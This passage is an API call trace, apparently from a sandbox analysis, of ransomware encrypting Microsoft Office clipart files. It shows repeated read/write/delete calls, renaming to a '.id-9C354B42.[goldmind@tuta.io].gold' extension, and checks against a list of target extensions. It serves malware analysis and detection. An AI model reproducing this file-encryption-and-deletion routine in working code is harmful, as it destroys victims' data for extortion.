lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.224] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7340) returned 1 [0099.224] CloseHandle (hObject=0x380) returned 1 [0099.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0099.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.244] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.244] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0099.244] GetLastError () returned 0x0 [0099.244] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1cac, lpOverlapped=0x0) returned 1 [0099.259] WriteFile (in: hFile=0x3c0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1cb0, lpOverlapped=0x0) returned 1 [0099.259] ReadFile (in: hFile=0x380, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.260] WriteFile (in: hFile=0x3c0, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.260] SetEndOfFile (hFile=0x3c0) returned 1 [0099.260] CloseHandle (hObject=0x3c0) returned 1 [0099.260] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.260] SetEndOfFile (hFile=0x380) returned 1 [0099.261] CloseHandle (hObject=0x380) returned 1 [0099.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0099.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.398] lstrlenW (lpString=".doc") returned 4 [0099.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.398] lstrlenW (lpString=".docx") returned 5 [0099.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.398] lstrlenW (lpString=".pdf") returned 4 [0099.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.399] lstrlenW (lpString=".xls") returned 4 [0099.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.399] lstrlenW (lpString=".xlsx") returned 5 [0099.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.399] lstrlenW (lpString=".ppt") returned 4 [0099.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.399] lstrlenW (lpString=".zip") returned 4 [0099.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.399] lstrlenW (lpString=".rar") returned 4 [0099.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.399] lstrlenW (lpString=".bz2") returned 4 [0099.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.399] lstrlenW (lpString=".7z") returned 3 [0099.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.399] lstrlenW (lpString=".dbf") returned 4 [0099.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.399] lstrlenW (lpString=".1cd") returned 4 [0099.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.399] lstrlenW (lpString=".jpg") returned 4 [0099.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.400] lstrlenW (lpString=".doc") returned 4 [0099.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.400] lstrlenW (lpString=".docx") returned 5 [0099.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.400] lstrlenW (lpString=".pdf") returned 4 [0099.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.400] lstrlenW (lpString=".xls") returned 4 [0099.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.400] lstrlenW (lpString=".xlsx") returned 5 [0099.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.400] lstrlenW (lpString=".ppt") returned 4 [0099.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.400] lstrlenW (lpString=".zip") returned 4 [0099.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.400] lstrlenW (lpString=".rar") returned 4 [0099.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.400] lstrlenW (lpString=".bz2") returned 4 [0099.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.400] lstrlenW (lpString=".7z") returned 3 [0099.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.400] lstrlenW (lpString=".dbf") returned 4 [0099.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.400] lstrlenW (lpString=".1cd") returned 4 [0099.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 63 [0099.400] lstrlenW (lpString=".jpg") returned 4 [0099.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.400] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.400] lstrlenW (lpString="HH01923_.WMF") returned 12 [0099.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.425] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=26706) returned 1 [0099.425] CloseHandle (hObject=0x364) returned 1 [0099.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x20 [0099.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0099.539] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.540] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0099.540] GetLastError () returned 0x0 [0099.540] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x6852, lpOverlapped=0x0) returned 1 [0099.551] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6860, lpOverlapped=0x0) returned 1 [0099.551] ReadFile (in: hFile=0x3c0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.552] WriteFile (in: hFile=0x3c4, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.552] SetEndOfFile (hFile=0x3c4) returned 1 [0099.552] CloseHandle (hObject=0x3c4) returned 1 [0099.552] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.552] SetEndOfFile (hFile=0x3c0) returned 1 [0099.554] CloseHandle (hObject=0x3c0) returned 1 [0099.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0099.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.600] lstrlenW (lpString=".doc") returned 4 [0099.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString=".docx") returned 5 [0099.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.600] lstrlenW (lpString=".pdf") returned 4 [0099.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString=".xls") returned 4 [0099.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.600] lstrlenW (lpString=".xlsx") returned 5 [0099.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.600] lstrlenW (lpString=".ppt") returned 4 [0099.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.600] lstrlenW (lpString=".zip") returned 4 [0099.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.600] lstrlenW (lpString=".rar") returned 4 [0099.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString=".bz2") returned 4 [0099.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString=".7z") returned 3 [0099.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.600] lstrlenW (lpString=".dbf") returned 4 [0099.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.600] lstrlenW (lpString=".1cd") returned 4 [0099.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.600] lstrlenW (lpString=".jpg") returned 4 [0099.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.601] lstrlenW (lpString=".doc") returned 4 [0099.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.601] lstrlenW (lpString=".docx") returned 5 [0099.601] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.601] lstrlenW (lpString=".pdf") returned 4 [0099.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.601] lstrlenW (lpString=".xls") returned 4 [0099.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.601] lstrlenW (lpString=".xlsx") returned 5 [0099.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.601] lstrlenW (lpString=".ppt") returned 4 [0099.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.601] lstrlenW (lpString=".zip") returned 4 [0099.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.601] lstrlenW (lpString=".rar") returned 4 [0099.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.601] lstrlenW (lpString=".bz2") returned 4 [0099.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.601] lstrlenW (lpString=".7z") returned 3 [0099.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.601] lstrlenW (lpString=".dbf") returned 4 [0099.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.601] lstrlenW (lpString=".1cd") returned 4 [0099.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 63 [0099.601] lstrlenW (lpString=".jpg") returned 4 [0099.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.601] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.601] lstrlenW (lpString="HH02313_.WMF") returned 12 [0099.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.602] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3082) returned 1 [0099.602] CloseHandle (hObject=0x198) returned 1 [0099.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0099.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0099.602] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.602] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.603] GetLastError () returned 0x0 [0099.603] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xc0a, lpOverlapped=0x0) returned 1 [0099.617] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xc10, lpOverlapped=0x0) returned 1 [0099.618] ReadFile (in: hFile=0x198, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0099.618] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.618] SetEndOfFile (hFile=0x364) returned 1 [0099.618] CloseHandle (hObject=0x364) returned 1 [0099.619] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0099.619] SetEndOfFile (hFile=0x198) returned 1 [0099.620] CloseHandle (hObject=0x198) returned 1 [0099.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0099.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.678] lstrlenW (lpString=".doc") returned 4 [0099.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.678] lstrlenW (lpString=".docx") returned 5 [0099.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.678] lstrlenW (lpString=".pdf") returned 4 [0099.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.678] lstrlenW (lpString=".xls") returned 4 [0099.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.678] lstrlenW (lpString=".xlsx") returned 5 [0099.678] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.678] lstrlenW (lpString=".ppt") returned 4 [0099.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString=".zip") returned 4 [0099.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.679] lstrlenW (lpString=".rar") returned 4 [0099.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString=".bz2") returned 4 [0099.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString=".7z") returned 3 [0099.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString=".dbf") returned 4 [0099.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString=".1cd") returned 4 [0099.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString=".jpg") returned 4 [0099.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString=".doc") returned 4 [0099.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString=".docx") returned 5 [0099.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.679] lstrlenW (lpString=".pdf") returned 4 [0099.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString=".xls") returned 4 [0099.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.679] lstrlenW (lpString=".xlsx") returned 5 [0099.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.679] lstrlenW (lpString=".ppt") returned 4 [0099.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString=".zip") returned 4 [0099.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.679] lstrlenW (lpString=".rar") returned 4 [0099.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString=".bz2") returned 4 [0099.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString=".7z") returned 3 [0099.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.679] lstrlenW (lpString=".dbf") returned 4 [0099.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.680] lstrlenW (lpString=".1cd") returned 4 [0099.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0099.680] lstrlenW (lpString=".jpg") returned 4 [0099.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.680] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.680] lstrlenW (lpString="IN00046_.WMF") returned 12 [0099.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.815] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1158) returned 1 [0099.815] CloseHandle (hObject=0x364) returned 1 [0099.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf")) returned 0x20 [0099.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 